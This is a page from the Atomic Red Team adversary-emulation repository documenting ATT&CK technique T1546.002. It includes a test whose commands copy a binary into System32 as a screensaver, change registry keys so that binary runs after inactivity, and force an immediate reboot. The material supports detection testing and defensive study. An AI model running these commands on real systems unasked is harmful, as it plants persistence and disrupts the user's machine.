

Product

Solutions

Resources

Open Source

Enterprise

Pricing

Search

Sign in

Sign up

redcanaryco / atomic-red-team

Public

Notifications

Fork2.8k

Star9.7k

<> Code

Issues6

Pull requests5

Actions

Wiki

Security

Insights

Files

f339e7d

Go to file

> .github

> atomic_red_team

> atomics

> Indexes

> T1003.001

> T1003.002

> T1003.003

> T1003.004

> T1003.005

> T1003.006

> T1003.007

> T1003.008

> T1003

> T1006

> T1007

> T1010

> T1012

> T1014

> T1016

> T1018

> T1020

> T1021.001

> T1021.002

> T1021.003

> T1021.006

> T1027.001

> T1027.002

> T1027.004

> T1027

> T1030

> T1033

> T1036.003

> T1036.004

> T1036.005

> T1036.006

> T1036

atomic-red-team / atomics / T1546.002 / T1546.002.md

Atomic Red Team doc generat...Generated docs from job=generate-d...819934c · 2 years agoHistory

PreviewCodeBlame

56 lines (30 loc) · 2.53 KB

RawCopyDownloadMenu

T1546.002 - Screensaver

Description from ATT&CK

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\Windows\System32\, and C:\Windows\sysWOW64\ on 64-bit Windows systems, along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\Control Panel\Desktop</code>) and could be manipulated to achieve persistence:

- SCRNSAVE.exe - set to malicious PE path
- ScreenSaveActive - set to '1' to enable the screensaver
- ScreenSaverIsSecure - set to '0' to not require a password to unlock
- ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

Atomic Tests

- Atomic Test #1 - Set Arbitrary Binary as Screensaver

Atomic Test #1 - Set Arbitrary Binary as Screensaver

- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.

Supported Platforms: Windows

auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64

Inputs:

Name	Description	Type	Default Value
input_binary	Executable binary to use in place of screensaver for persistence	Path	C:\Windows\System32\cmd.exe

Attack Commands: Run with **command_prompt!** Elevation Required (e.g. root or admin)

```
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 15
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 1
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d %SystemRoot%\System32\evilscreensaver.scr
shutdown /r /t 0
```